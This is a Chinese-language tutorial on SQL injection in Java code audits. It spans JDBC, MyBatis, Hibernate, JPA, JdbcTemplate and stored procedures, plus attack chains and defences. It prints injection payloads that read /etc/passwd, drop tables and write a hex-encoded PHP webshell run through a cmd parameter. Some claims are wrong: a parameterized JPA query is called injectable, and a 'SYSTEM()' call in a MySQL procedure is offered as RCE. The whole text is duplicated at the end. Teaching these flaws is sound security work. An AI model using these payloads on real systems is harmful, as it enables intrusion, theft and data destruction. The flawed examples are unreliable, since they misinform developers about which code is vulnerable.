Java代码审计中的SQL注入漏洞深度解析与组合攻击
字数 897 2025-08-22 12:23:06

Java代码审计中的SQL注入漏洞深度解析与组合攻击

一、SQL注入漏洞原理与风险扩展

SQL注入不仅限于传统的数据库查询操作,还可能通过多种技术组合升级为更严重的远程代码执行(RCE)漏洞。其核心风险包括:

  1. 数据泄露:获取敏感数据如用户凭证、个人信息
  2. 权限提升:通过数据库特权执行系统命令
  3. 持久化后门:写入Webshell或创建恶意存储过程
  4. 网络渗透:利用数据库功能发起内网扫描

二、Java中各类SQL注入场景详解

1. JDBC注入(基础型)

危险模式

String query = "SELECT * FROM users WHERE username = '" + request.getParameter("user") + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

攻击Payload

user=admin' UNION SELECT 1,load_file('/etc/passwd'),3-- -

2. MyBatis注入(动态SQL型)

危险场景

<select id="findUser" parameterType="String" resultType="User">
    SELECT * FROM ${tableName} WHERE username = '${username}'
</select>

利用方式

// 传入参数:
tableName=users; DROP TABLE secrets --
username=admin' OR 1=1--

3. Hibernate注入(HQL/原生SQL型)

危险示例

String hql = "FROM User WHERE username = '" + input + "' AND password = '" + pwd + "'";
Query query = session.createQuery(hql);

攻击向量

input=admin' OR 1=1--
pwd=任意值

4. JPA注入(新型ORM风险)

危险模式

@Query("SELECT u FROM User u WHERE u.username = ?1 AND u.password = ?2")
User login(String user, String pass);

绕过技巧

  • 利用JPQL特性: user=admin' OR '1'='1'--
  • 参数截断攻击: 超长参数导致预编译失效

5. JdbcTemplate注入(Spring风险)

错误用法

String sql = "UPDATE accounts SET balance = balance + " + amount + " WHERE id = " + id;
jdbcTemplate.update(sql);

攻击方式

amount=100; DROP TABLE accounts--
id=1

6. 存储过程注入(高阶风险)

漏洞代码

CallableStatement cs = conn.prepareCall("{call get_user_data('" + input + "')}");

RCE利用 (MySQL示例):

input=1'); CREATE PROCEDURE attack() BEGIN SYSTEM('cat /etc/passwd > /var/www/output'); END; CALL attack();--

三、SQL注入与其他漏洞的组合利用

1. SQL注入 → 文件读写 → RCE

攻击链 (MySQL环境):

-- 1. 通过注入写入Webshell
SELECT 1,2,3 INTO OUTFILE '/var/www/html/shell.php' 
LINES TERMINATED BY 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E--

-- 2. 访问webshell执行命令
http://victim.com/shell.php?cmd=id

2. SQL注入 → XXE联动攻击

攻击流程:

  1. 通过SQL注入获取数据库中的XML内容
  2. 触发XXE解析恶意实体
-- 获取包含XXE的XML配置
UNION SELECT 1,LOAD_FILE('/opt/app/config.xml'),3,4--

3. SQL注入 → SSRF组合

利用数据库功能:

  • 利用数据库的HTTP请求功能发起SSRF攻击
  • 通过数据库连接功能探测内网服务

四、防御措施

  1. 参数化查询:始终使用PreparedStatement
  2. ORM安全使用:避免拼接HQL/JPQL
  3. 输入验证:白名单验证所有输入
  4. 最小权限原则:数据库账户使用最低权限
  5. 安全编码规范:禁用动态表名/列名
  6. 防御深度:WAF+代码审计+运行时防护

五、高级检测技术

  1. 污点分析:跟踪用户输入在代码中的传播
  2. 语法树分析:检测SQL语句拼接模式
  3. 运行时监控:拦截异常SQL语句执行
  4. 模糊测试:自动化注入payload测试
Java代码审计中的SQL注入漏洞深度解析与组合攻击 一、SQL注入漏洞原理与风险扩展 SQL注入不仅限于传统的数据库查询操作,还可能通过多种技术组合升级为更严重的远程代码执行(RCE)漏洞。其核心风险包括: 数据泄露 :获取敏感数据如用户凭证、个人信息 权限提升 :通过数据库特权执行系统命令 持久化后门 :写入Webshell或创建恶意存储过程 网络渗透 :利用数据库功能发起内网扫描 二、Java中各类SQL注入场景详解 1. JDBC注入(基础型) 危险模式 : 攻击Payload : 2. MyBatis注入(动态SQL型) 危险场景 : 利用方式 : 3. Hibernate注入(HQL/原生SQL型) 危险示例 : 攻击向量 : 4. JPA注入(新型ORM风险) 危险模式 : 绕过技巧 : 利用JPQL特性: user=admin' OR '1'='1'-- 参数截断攻击: 超长参数导致预编译失效 5. JdbcTemplate注入(Spring风险) 错误用法 : 攻击方式 : 6. 存储过程注入(高阶风险) 漏洞代码 : RCE利用 (MySQL示例) : 三、SQL注入与其他漏洞的组合利用 1. SQL注入 → 文件读写 → RCE 攻击链 (MySQL环境) : 2. SQL注入 → XXE联动攻击 攻击流程 : 通过SQL注入获取数据库中的XML内容 触发XXE解析恶意实体 3. SQL注入 → SSRF组合 利用数据库功能 : 利用数据库的HTTP请求功能发起SSRF攻击 通过数据库连接功能探测内网服务 四、防御措施 参数化查询 :始终使用PreparedStatement ORM安全使用 :避免拼接HQL/JPQL 输入验证 :白名单验证所有输入 最小权限原则 :数据库账户使用最低权限 安全编码规范 :禁用动态表名/列名 防御深度 :WAF+代码审计+运行时防护 五、高级检测技术 污点分析 :跟踪用户输入在代码中的传播 语法树分析 :检测SQL语句拼接模式 运行时监控 :拦截异常SQL语句执行 模糊测试 :自动化注入payload测试